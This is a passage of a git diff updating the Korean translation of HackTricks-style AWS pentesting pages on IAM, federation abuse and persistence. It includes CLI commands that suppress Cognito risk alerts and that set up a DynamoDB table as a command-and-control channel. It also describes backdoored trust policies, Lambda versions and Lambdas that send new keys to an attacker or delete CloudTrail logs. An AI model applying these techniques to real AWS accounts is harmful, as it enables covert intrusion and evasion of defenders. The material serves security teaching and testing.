제공합니다.\ +신뢰받는 사용자를 **구체적으로 지정하고 일반적인 내용을 넣지 않는 것이 좋습니다**. 그렇지 않으면, 연합된 사용자와 같은 다른 인증된 사용자가 이 신뢰를 남용할 수 있습니다. ### AWS Simple AD 지원되지 않음: -- Trust Relations -- AD Admin Center -- Full PS API support -- AD Recycle Bin -- Group Managed Service Accounts -- Schema Extensions +- 신뢰 관계 +- AD 관리 센터 +- 전체 PS API 지원 +- AD 재활용 빈 +- 그룹 관리 서비스 계정 +- 스키마 확장 - OS 또는 인스턴스에 대한 직접 접근 없음 -#### Web Federation or OpenID Authentication +#### 웹 연합 또는 OpenID 인증 앱은 AssumeRoleWithWebIdentity를 사용하여 임시 자격 증명을 생성합니다. 그러나 이는 AWS 콘솔에 대한 접근을 부여하지 않으며, AWS 내의 리소스에 대한 접근만 부여합니다. -### Other IAM options +### 기타 IAM 옵션 - **비밀번호 정책 설정**을 통해 최소 길이 및 비밀번호 요구 사항과 같은 옵션을 설정할 수 있습니다. -- 현재 자격 증명에 대한 정보(예: 사용자 생성 시간, 비밀번호 활성화 여부 등)를 포함한 **"Credential Report"를 다운로드할 수 있습니다**. 자격 증명 보고서는 최대 **4시간마다** 생성할 수 있습니다. +- 현재 자격 증명에 대한 정보(예: 사용자 생성 시간, 비밀번호 사용 가능 여부 등)를 포함한 **"자격 증명 보고서"를 다운로드**할 수 있습니다. 자격 증명 보고서는 최대 **4시간마다** 생성할 수 있습니다. -AWS Identity and Access Management (IAM)는 AWS 전반에 걸쳐 **세밀한 접근 제어**를 제공합니다. IAM을 사용하면 **누가 어떤 서비스와 리소스에 접근할 수 있는지**, 그리고 어떤 조건에서 접근할 수 있는지를 지정할 수 있습니다. IAM 정책을 통해, 인력과 시스템에 대한 권한을 관리하여 **최소 권한 원칙을 보장합니다**. +AWS 아이덴티티 및 접근 관리(IAM)는 AWS 전반에 걸쳐 **세밀한 접근 제어**를 제공합니다. IAM을 사용하면 **누가 어떤 서비스와 리소스에 접근할 수 있는지** 및 어떤 조건에서 접근할 수 있는지를 지정할 수 있습니다. IAM 정책을 통해 인력과 시스템에 대한 권한을 관리하여 **최소 권한 원칙**을 보장합니다. -### IAM ID Prefixes +### IAM ID 접두사 [**이 페이지**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids)에서 키의 성격에 따라 **IAM ID 접두사**를 찾을 수 있습니다: @@ -299,15 +299,15 @@ AWS Identity and Access Management (IAM)는 AWS 전반에 걸쳐 **세밀한 접 | AGPA | 사용자 그룹 | | AIDA | IAM 사용자 | | AIPA | Amazon EC2 인스턴스 프로필 | -| AKIA | 접근 키 | +| AKIA | 액세스 키 | | ANPA | 관리형 정책 | | ANVA | 관리형 정책의 버전 | | APKA | 공개 키 | | AROA | 역할 | | ASCA | 인증서 | -| ASIA | [임시 (AWS STS) 접근 키 ID](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html)는 이 접두사를 사용하지만, 비밀 접근 키 및 세션 토큰과 조합하여만 고유합니다. | +| ASIA | [임시(AWS STS) 액세스 키 ID](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html)는 이 접두사를 사용하지만, 비밀 액세스 키 및 세션 토큰과 조합하여만 고유합니다. | -### Recommended permissions to audit accounts +### 계정 감사에 권장되는 권한 다음 권한은 메타데이터에 대한 다양한 읽기 접근을 부여합니다: @@ -320,13 +320,13 @@ AWS Identity and Access Management (IAM)는 AWS 전반에 걸쳐 **세밀한 접 - `directconnect:DescribeConnections` - `dynamodb:ListTables` -## Misc +## 기타 -### CLI Authentication +### CLI 인증 일반 사용자가 CLI를 통해 AWS에 인증하기 위해서는 **로컬 자격 증명**이 필요합니다. 기본적으로 `~/.aws/credentials`에서 **수동으로** 구성하거나 **`aws configure`를 실행하여** 구성할 수 있습니다.\ -해당 파일에는 하나 이상의 프로필을 가질 수 있으며, **aws cli**를 사용할 때 **프로필이 지정되지 않으면**, 해당 파일에서 **`[default]`**라는 이름의 프로필이 사용됩니다.\ -하나 이상의 프로필이 있는 자격 증명 파일의 예: +해당 파일에는 하나 이상의 프로필을 가질 수 있으며, **aws cli**를 사용할 때 **프로필**이 지정되지 않으면 해당 파일의 **`[default]`**라는 프로필이 사용됩니다.\ +여러 프로필이 있는 자격 증명 파일의 예: ``` [default] aws_access_key_id = AKIA5ZDCUJHF83HDTYUT @@ -337,12 +337,10 @@ aws_access_key_id = AKIA8YDCu7TGTR356SHYT aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7 region = eu-west-2 ``` -If you need to access **different AWS accounts** and your profile was given access to **assume a role inside those accounts**, you don't need to call manually STS every time (`aws sts assume-role --role-arn --role-session-name sessname`) and configure the credentials. +다른 **AWS 계정**에 접근해야 하고 귀하의 프로필이 **해당 계정 내에서 역할을 가정할 수 있는 권한**을 부여받았다면, 매번 수동으로 STS를 호출할 필요가 없습니다 (`aws sts assume-role --role-arn --role-session-name sessname`) 및 자격 증명을 구성할 필요가 없습니다. -다른 AWS 계정에 접근해야 하고 프로필이 해당 계정 내에서 **역할을 가정할 수 있는** 권한을 부여받았다면, 매번 수동으로 STS를 호출하고(`aws sts assume-role --role-arn --role-session-name sessname`) 자격 증명을 구성할 필요가 없습니다. - -You can use the `~/.aws/config` file to[ **indicate which roles to assume**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), and then use the `--profile` param as usual (the `assume-role` will be performed in a transparent way for the user).\ -A config file example: +`~/.aws/config` 파일을 사용하여 [**가정할 역할을 지정**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html)할 수 있으며, 그런 다음 평소처럼 `--profile` 매개변수를 사용할 수 있습니다 (사용자에게는 `assume-role`이 투명하게 수행됩니다).\ +구성 파일 예: ``` [profile acc2] region=eu-west-2 @@ -351,7 +349,7 @@ role_session_name = source_profile = sts_regional_endpoints = regional ``` -이 구성 파일을 사용하여 aws cli를 다음과 같이 사용할 수 있습니다: +이 구성 파일을 사용하면 aws cli를 다음과 같이 사용할 수 있습니다: ``` aws --profile acc2 ... ``` diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md index fdfed6b56..d8ee158ff 100644 --- a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md +++ b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md @@ -10,7 +10,7 @@ SAML에 대한 정보는 다음을 확인하세요: https://book.hacktricks.xyz/pentesting-web/saml-attacks {{#endref}} -**SAML을 통한 Identity Federation**을 구성하려면 **이름**과 모든 SAML 구성(**엔드포인트**, **공개 키가 포함된 인증서**)이 포함된 **메타데이터 XML**을 제공하면 됩니다. +**SAML을 통한 Identity Federation**을 구성하려면 **이름**과 모든 SAML 구성(**엔드포인트**, **공개 키가 포함된 인증서**)을 포함하는 **메타데이터 XML**을 제공하면 됩니다. ## OIDC - Github Actions Abuse @@ -18,9 +18,9 @@ Identity provider로 github action을 추가하려면: 1. _Provider type_에서 **OpenID Connect**를 선택합니다. 2. _Provider URL_에 `https://token.actions.githubusercontent.com`를 입력합니다. -3. _Get thumbprint_를 클릭하여 provider의 thumbprint를 가져옵니다. +3. _Get thumbprint_를 클릭하여 제공자의 thumbprint를 가져옵니다. 4. _Audience_에 `sts.amazonaws.com`을 입력합니다. -5. github action이 필요로 하는 **권한**과 provider를 신뢰하는 **신뢰 정책**으로 **새 역할**을 생성합니다: +5. github action이 필요로 하는 **권한**과 제공자를 신뢰하는 **신뢰 정책**을 가진 **새 역할**을 생성합니다: - ```json { "Version": "2012-10-17", @@ -45,8 +45,8 @@ Identity provider로 github action을 추가하려면: } ``` 6. 이전 정책에서 특정 **트리거**로 **조직**의 **저장소**에서 **브랜치**만 허용된 것을 주목하세요. -7. github action이 **가짜**로 사용할 수 있는 **역할**의 **ARN**은 github action이 알아야 할 "비밀"이므로, **환경** 내의 **비밀**에 저장합니다. -8. 마지막으로 github action을 사용하여 워크플로우에서 사용할 AWS 자격 증명을 구성합니다: +7. github action이 **가장할** 수 있는 **역할**의 **ARN**은 github action이 알아야 할 "비밀"이므로, 이를 **환경** 내의 **비밀**에 **저장**합니다. +8. 마지막으로, 워크플로우에서 사용할 AWS 자격 증명을 구성하기 위해 github action을 사용합니다: ```yaml name: "test AWS Access" @@ -108,9 +108,9 @@ eksctl utils associate-iam-oidc-provider --cluster Testing --approve ] } ``` -이 정책은 **id** `20C159CDF6F2349B68846BEC03BE031B`를 가진 **EKS 클러스터**만 역할을 맡을 수 있음을 올바르게 나타내고 있습니다. 그러나 어떤 서비스 계정이 이를 맡을 수 있는지 명시하지 않기 때문에 **웹 아이덴티티 토큰**이 있는 **모든 서비스 계정**이 역할을 맡을 수 있게 됩니다. +이 정책은 **id** `20C159CDF6F2349B68846BEC03BE031B`를 가진 **EKS 클러스터**만 역할을 맡을 수 있음을 올바르게 나타내고 있습니다. 그러나 어떤 서비스 계정이 이를 맡을 수 있는지에 대한 언급이 없으므로, **웹 아이덴티티 토큰**이 있는 **모든 서비스 계정**이 역할을 맡을 수 있게 됩니다. -**어떤 서비스 계정이 역할을 맡을 수 있어야 하는지** 명시하기 위해서는 **서비스 계정 이름이 지정된 조건**을 명시해야 합니다, 예를 들어: +**어떤 서비스 계정이 역할을 맡을 수 있는지** 지정하기 위해서는 **서비스 계정 이름이 지정된 조건**을 명시해야 합니다, 예를 들어: ```bash "oidc.eks.region-code.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:sub": "system:serviceaccount:default:my-service-account", ``` diff --git a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md index 853dd1ade..86b7f2be1 100644 --- a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md +++ b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md @@ -1,8 +1,8 @@ -# AWS - Permissions for a Pentest +# AWS - Pentest에 대한 권한 {{#include ../../banners/hacktricks-training.md}} -다음은 모든 제안된 AWS 감사 도구를 실행할 수 있도록 감사하려는 각 AWS 계정에서 필요한 권한입니다: +감사할 각 AWS 계정에서 모든 제안된 AWS 감사 도구를 실행할 수 있도록 필요한 권한은 다음과 같습니다: - 기본 정책 **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess) - [aws_iam_review](https://github.com/carlospolop/aws_iam_review)를 실행하려면 다음 권한도 필요합니다: diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md index 1add6c0a6..aadea1812 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md @@ -16,7 +16,7 @@ API 게이트웨이의 리소스 정책을 수정하여 자신에게 접근 권 ### Modify Lambda Authorizers -모든 엔드포인트에 대한 접근 권한을 부여하기 위해 람다 인증자의 코드를 수정합니다.\ +람다 인증자의 코드를 수정하여 모든 엔드포인트에 대한 접근 권한을 부여합니다.\ 또는 인증자의 사용을 제거합니다. ### IAM Permissions diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md index fd68645e6..eb6351f31 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md @@ -4,7 +4,7 @@ ## Cognito -자세한 정보는 다음을 참조하십시오: +자세한 정보는 다음을 참조하세요: {{#ref}} ../aws-services/aws-cognito-enum/ @@ -12,16 +12,16 @@ ### 사용자 지속성 -Cognito는 인증되지 않은 사용자와 인증된 사용자에게 역할을 부여하고 사용자 디렉토리를 제어할 수 있는 서비스입니다. 지속성을 유지하기 위해 변경할 수 있는 여러 가지 구성 요소가 있습니다: +Cognito는 인증되지 않은 사용자와 인증된 사용자에게 역할을 부여하고 사용자 디렉토리를 제어할 수 있는 서비스입니다. 일부 지속성을 유지하기 위해 변경할 수 있는 여러 가지 구성은 다음과 같습니다: - **사용자가 제어하는 사용자 풀**을 아이덴티티 풀에 추가 - 인증되지 않은 아이덴티티 풀에 **IAM 역할을 부여하고 기본 인증 흐름을 허용** - 공격자가 로그인할 수 있는 경우 **인증된 아이덴티티 풀**에 - 주어진 역할의 **권한을 개선** -- **속성을 통해 사용자 생성, 검증 및 권한 상승**을 수행하거나 **사용자 풀**에 새로운 사용자 추가 -- **외부 아이덴티티 제공자**가 사용자 풀 또는 아이덴티티 풀에 로그인할 수 있도록 허용 +- **사용자 풀**에서 속성이 제어하는 사용자 또는 새로운 사용자를 통해 **생성, 검증 및 권한 상승** +- **외부 아이덴티티 공급자**가 사용자 풀 또는 아이덴티티 풀에 로그인할 수 있도록 허용 -이 작업을 수행하는 방법은 다음을 확인하십시오: +이 작업을 수행하는 방법은 다음에서 확인하세요 {{#ref}} ../aws-privilege-escalation/aws-cognito-privesc.md @@ -29,7 +29,7 @@ Cognito는 인증되지 않은 사용자와 인증된 사용자에게 역할을 ### `cognito-idp:SetRiskConfiguration` -이 권한을 가진 공격자는 위험 구성을 수정하여 **알람이 발생하지 않고** Cognito 사용자로 로그인할 수 있습니다. [**CLI를 확인하십시오**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) 모든 옵션을 확인하려면: +이 권한을 가진 공격자는 위험 구성을 수정하여 **알람이 발생하지 않고** Cognito 사용자로 로그인할 수 있습니다. [**CLI를 확인하세요**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) 모든 옵션을 확인하려면: ```bash aws cognito-idp set-risk-configuration --user-pool-id --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION} ``` diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md index 43509fe32..a0ecedda4 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md @@ -38,7 +38,7 @@ aws lambda create-event-source-mapping \ ### DynamoDB를 C2 채널로 사용하기 -공격자는 명령을 포함하는 항목을 생성하고 손상된 인스턴스나 Lambda 함수를 사용하여 이러한 명령을 가져오고 실행함으로써 DynamoDB 테이블을 **명령 및 제어 (C2) 채널**로 사용할 수 있습니다. +공격자는 명령을 포함하는 항목을 생성하고 손상된 인스턴스나 Lambda 함수를 사용하여 이러한 명령을 가져오고 실행함으로써 DynamoDB 테이블을 **명령 및 제어(C2) 채널**로 사용할 수 있습니다. ```bash # Create a DynamoDB table for C2 aws dynamodb create-table \ @@ -54,6 +54,6 @@ aws dynamodb put-item \ --item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \ --region ``` -손상된 인스턴스나 Lambda 함수는 주기적으로 C2 테이블에서 새로운 명령을 확인하고, 이를 실행하며, 선택적으로 결과를 테이블에 다시 보고할 수 있습니다. 이는 공격자가 손상된 리소스에 대한 지속성과 제어를 유지할 수 있게 합니다. +손상된 인스턴스나 Lambda 함수는 주기적으로 C2 테이블에서 새로운 명령을 확인하고, 이를 실행하며, 선택적으로 결과를 테이블에 다시 보고할 수 있습니다. 이를 통해 공격자는 손상된 리소스에 대한 지속성과 제어를 유지할 수 있습니다. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md index b1a81809e..7748f5339 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md @@ -14,12 +14,12 @@ 수비수가 **EC2 인스턴스가 침해되었다**고 판단하면, 그는 아마도 **네트워크**를 **격리**하려고 할 것입니다. 그는 명시적인 **Deny NACL**을 사용하거나 (하지만 NACL은 전체 서브넷에 영향을 미침), **보안 그룹을 변경하여** **모든 종류의 인바운드 또는 아웃바운드** 트래픽을 허용하지 않을 수 있습니다. -공격자가 **기계에서 시작된 리버스 셸**을 가지고 있었다면, SG가 인바운드 또는 아웃바운드 트래픽을 허용하지 않도록 수정되더라도, **연결은** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**로 인해 종료되지 않을 것입니다.** +공격자가 **기계에서 발생한 리버스 셸**을 가지고 있었다면, SG가 인바운드 또는 아웃바운드 트래픽을 허용하지 않도록 수정되더라도, **연결은** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**로 인해 종료되지 않을 것입니다.** ### EC2 Lifecycle Manager 이 서비스는 **AMI 및 스냅샷의 생성**을 **예약**하고 심지어 **다른 계정과 공유**할 수 있게 해줍니다.\ -공격자는 **모든 이미지 또는 모든 볼륨의 AMI 또는 스냅샷 생성을** **매주** 구성하고 **자신의 계정과 공유**할 수 있습니다. +공격자는 **모든 이미지 또는 모든 볼륨의 AMI 또는 스냅샷 생성을** **매주** 예약하고 **자신의 계정과 공유**할 수 있습니다. ### Scheduled Instances @@ -27,7 +27,7 @@ ### Spot Fleet Request -스팟 인스턴스는 **정규 인스턴스보다 저렴**합니다. 공격자는 **5년 동안의 작은 스팟 플릿 요청**을 시작할 수 있으며 (예를 들어), **자동 IP** 할당과 **스팟 인스턴스가 시작될 때 공격자에게 전송되는 사용자 데이터**와 **높은 권한의 IAM 역할**을 사용할 수 있습니다. +스팟 인스턴스는 **정규 인스턴스보다 저렴**합니다. 공격자는 **5년 동안의 작은 스팟 플릿 요청**을 시작할 수 있으며 (예를 들어), **자동 IP** 할당과 **스팟 인스턴스가 시작될 때 공격자에게 전송되는 사용자 데이터**를 포함할 수 있습니다. **IP 주소**와 함께 **높은 권한의 IAM 역할**을 사용할 수 있습니다. ### Backdoor Instances diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md index 5699fe6d5..7b22b2da8 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md @@ -16,7 +16,7 @@ ### 리포지토리 정책 -리포지토리에 대한 접근 권한을 자신(또는 모든 사람)에게 부여하는 정책을 추가하세요: +리포지토리에 대한 액세스를 자신(또는 모든 사람)에게 부여하는 정책을 단일 리포지토리에 추가하세요: ```bash aws ecr set-repository-policy \ --repository-name cluster-autoscaler \ @@ -41,15 +41,15 @@ aws ecr set-repository-policy \ } ``` > [!WARNING] -> ECR는 사용자가 **인증**을 위해 **`ecr:GetAuthorizationToken`** API를 호출할 수 있는 **권한**을 IAM 정책을 통해 가져야 한다는 점에 유의하십시오. 그래야만 레지스트리에 인증하고 Amazon ECR 리포지토리에서 이미지를 푸시하거나 풀 수 있습니다. +> ECR는 사용자가 **인증**을 위해 **`ecr:GetAuthorizationToken`** API를 호출할 수 있는 **권한**을 IAM 정책을 통해 가져야 한다는 점에 유의하십시오. 이를 통해 레지스트리에 인증하고 Amazon ECR 리포지토리에서 이미지를 푸시하거나 풀 수 있습니다. ### 레지스트리 정책 및 크로스 계정 복제 -크로스 계정 복제를 구성하여 외부 계정에서 레지스트리를 자동으로 복제하는 것이 가능합니다. 여기서 레지스트리를 복제하려는 **외부 계정**을 **지정**해야 합니다. +외부 계정에서 레지스트리를 자동으로 복제하는 것이 가능하며, 이 경우 레지스트리를 복제할 외부 계정을 **지정해야** 합니다.
-먼저, 다음과 같은 **레지스트리 정책**을 사용하여 외부 계정에 레지스트리에 대한 액세스를 부여해야 합니다: +먼저, 외부 계정에 **레지스트리 정책**을 통해 레지스트리에 대한 액세스를 부여해야 합니다: ```bash aws ecr put-registry-policy --policy-text file://my-policy.json diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md index 8088d522c..fdd184086 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md @@ -1,10 +1,10 @@ -# AWS - ECS Persistence +# AWS - ECS 지속성 {{#include ../../../banners/hacktricks-training.md}} ## ECS -자세한 내용은 다음을 확인하세요: +자세한 정보는 다음을 확인하세요: {{#ref}} ../aws-services/aws-ecs-enum.md @@ -44,7 +44,7 @@ aws events put-targets --rule "malicious-ecs-task-rule" --targets '[ } ]' ``` -### 기존 ECS 작업 정의에서 백도어 컨테이너 +### 기존 ECS 작업 정의의 백도어 컨테이너 > [!NOTE] > TODO: 테스트 diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md index 4e487c9ab..9359dc283 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md @@ -12,15 +12,15 @@ ### 인스턴스 내 지속성 -AWS 계정 내에서 지속성을 유지하기 위해 **인스턴스 내에 지속성 메커니즘을 도입할 수 있습니다** (cron job, ssh key...) 그래서 공격자는 이를 통해 접근하고 IAM 역할 **자격 증명을 메타데이터 서비스에서 탈취할 수 있습니다**. +AWS 계정 내에서 지속성을 유지하기 위해, **인스턴스 내에 지속성 메커니즘을 도입할 수 있습니다** (cron job, ssh key...) 그래서 공격자는 이를 통해 접근하고 IAM 역할 **자격 증명을 메타데이터 서비스에서 탈취할 수 있습니다**. ### 버전 내 백도어 -공격자는 S3 리포지토리 내의 코드를 백도어하여 항상 자신의 백도어와 예상되는 코드가 실행되도록 할 수 있습니다. +공격자는 S3 리포지토리 내의 코드를 백도어하여 항상 자신의 백도어와 예상 코드를 실행하도록 할 수 있습니다. ### 새로운 백도어 버전 -공격자는 실제 버전의 코드를 변경하는 대신 애플리케이션의 새로운 백도어 버전을 배포할 수 있습니다. +공격자는 실제 버전의 코드를 변경하는 대신, 애플리케이션의 새로운 백도어 버전을 배포할 수 있습니다. ### 사용자 정의 리소스 생명 주기 훅 악용 diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md index 7d2a0efd1..fe92c6d3e 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md @@ -13,7 +13,7 @@ ### 일반적인 IAM 지속성 - 사용자 생성 -- 제어된 사용자를 권한이 있는 그룹에 추가 +- 제어된 사용자를 특권 그룹에 추가 - 액세스 키 생성 (새 사용자 또는 모든 사용자) - 제어된 사용자/그룹에 추가 권한 부여 (첨부된 정책 또는 인라인 정책) - MFA 비활성화 / 자신의 MFA 장치 추가 @@ -21,7 +21,7 @@ ### 백도어 역할 신뢰 정책 -신뢰 정책에 백도어를 추가하여 외부 리소스를 당신이 제어할 수 있도록 가정할 수 있습니다 (또는 모든 사용자에게): +신뢰 정책에 백도어를 추가하여 외부 리소스를 가정할 수 있습니다 (또는 모든 사용자에게): ```json { "Version": "2012-10-17", diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md index b31dfcf78..eee862dba 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md @@ -1,4 +1,4 @@ -# AWS - KMS Persistence +# AWS - KMS 지속성 {{#include ../../../banners/hacktricks-training.md}} @@ -12,7 +12,7 @@ ### KMS 정책을 통한 접근 권한 부여 -공격자는 **`kms:PutKeyPolicy`** 권한을 사용하여 자신의 제어 하에 있는 사용자에게 키에 대한 **접근 권한을 부여**하거나 외부 계정에 부여할 수 있습니다. 더 많은 정보는 [**KMS Privesc 페이지**](../aws-privilege-escalation/aws-kms-privesc.md)를 확인하세요. +공격자는 **`kms:PutKeyPolicy`** 권한을 사용하여 자신의 통제 하에 있는 사용자에게 키에 대한 **접근 권한을 부여**하거나 심지어 외부 계정에 부여할 수 있습니다. 더 많은 정보는 [**KMS Privesc 페이지**](../aws-privilege-escalation/aws-kms-privesc.md)를 확인하세요. ### 영구 권한 부여 diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md index 73faf016c..147fb6f29 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md @@ -12,7 +12,7 @@ ### Lambda Layer Persistence -람다가 은밀하게 실행될 때 **임의의 코드를 실행하기 위해 레이어를 도입/백도어**하는 것이 가능합니다: +람다가 은밀하게 실행될 때 **임의 코드를 실행하기 위해 레이어를 도입/백도어**하는 것이 가능합니다: {{#ref}} aws-lambda-layers-persistence.md @@ -35,7 +35,7 @@ aws-abusing-lambda-extensions.md ### Versions, Aliases & Weights 람다는 **다양한 버전**(각 버전마다 다른 코드)을 가질 수 있습니다.\ -그런 다음, **다양한 버전의 람다에 대해 다양한 별칭을 생성**하고 각 별칭에 대해 다른 가중치를 설정할 수 있습니다.\ +그런 다음, **다양한 버전의 람다에 대해 다양한 별칭을 생성하고** 각 별칭에 대해 다른 가중치를 설정할 수 있습니다.\ 이렇게 하면 공격자는 **백도어가 있는 버전 1**과 **정상 코드만 있는 버전 2**를 생성하고 **1%의 요청에서만 버전 1을 실행**하여 은밀함을 유지할 수 있습니다.
@@ -43,8 +43,8 @@ aws-abusing-lambda-extensions.md ### Version Backdoor + API Gateway 1. Lambda의 원본 코드를 복사합니다. -2. 원본 코드를 **백도어하는 새로운 버전을 생성**합니다(또는 악성 코드만 포함). 해당 버전을 게시하고 **$LATEST에 배포**합니다. -1. 람다와 관련된 API 게이트웨이를 호출하여 코드를 실행합니다. +2. **원본 코드를 백도어하는 새로운 버전을 생성**합니다(또는 악성 코드만 포함). 해당 버전을 게시하고 **$LATEST에 배포**합니다. +1. 코드를 실행하기 위해 람다와 관련된 API 게이트웨이를 호출합니다. 3. **원본 코드로 새로운 버전을 생성**, 게시하고 해당 **버전을 $LATEST에 배포**합니다. 1. 이렇게 하면 이전 버전에서 백도어 코드가 숨겨집니다. 4. API Gateway로 이동하여 **새 POST 메서드**(또는 다른 메서드 선택)를 생성하여 람다의 백도어 버전을 실행합니다: `arn:aws:lambda:us-east-1::function::1` @@ -54,11 +54,11 @@ aws-abusing-lambda-extensions.md ### Cron/Event actuator -무언가가 발생하거나 시간이 경과할 때 **람다 함수를 실행할 수 있다는 사실**은 람다를 지속성을 얻고 탐지를 피하는 좋은 일반적인 방법으로 만듭니다.\ +무언가가 발생하거나 시간이 경과할 때 **람다 함수를 실행할 수 있다는 사실**은 람다를 지속성을 얻고 탐지를 피하는 좋은 방법으로 만듭니다.\ 여기 AWS에서 **은밀하게 존재하기 위해 람다를 생성하는 몇 가지 아이디어가 있습니다**. -- 새로운 사용자가 생성될 때마다 람다가 새로운 사용자 키를 생성하고 공격자에게 보냅니다. +- 새로운 사용자가 생성될 때마다 람다가 새로운 사용자 키를 생성하고 공격자에게 전송합니다. - 새로운 역할이 생성될 때마다 람다가 손상된 사용자에게 역할 수임 권한을 부여합니다. -- 새로운 클라우드트레일 로그가 생성될 때마다 이를 삭제/변경합니다. +- 새로운 cloudtrail 로그가 생성될 때마다 삭제/변경합니다. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md index ccb7c1f48..3643db1c5 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md @@ -11,11 +11,11 @@ Lambda 확장은 다양한 **모니터링, 가시성, 보안 및 거버넌스 [**Lambda 확장이 작동하는 방식에 대한 자세한 정보는 문서를 확인하세요**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html). -### 지속성, 요청 도용 및 요청 수정용 외부 확장 +### 지속성, 요청 훔치기 및 요청 수정용 외부 확장 이 게시물에서 제안된 기술의 요약입니다: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/) -Lambda 런타임 환경의 기본 Linux 커널이 “**process_vm_readv**” 및 “**process_vm_writev**” 시스템 호출로 컴파일되어 있다는 것이 발견되었습니다. 그리고 모든 프로세스는 동일한 사용자 ID로 실행되며, 외부 확장을 위해 생성된 새로운 프로세스도 마찬가지입니다. **이는 외부 확장이 설계상 Rapid의 힙 메모리에 대한 전체 읽기 및 쓰기 접근 권한을 갖는다는 것을 의미합니다.** +Lambda 런타임 환경의 기본 Linux 커널이 “**process_vm_readv**” 및 “**process_vm_writev**” 시스템 호출로 컴파일되어 있다는 것이 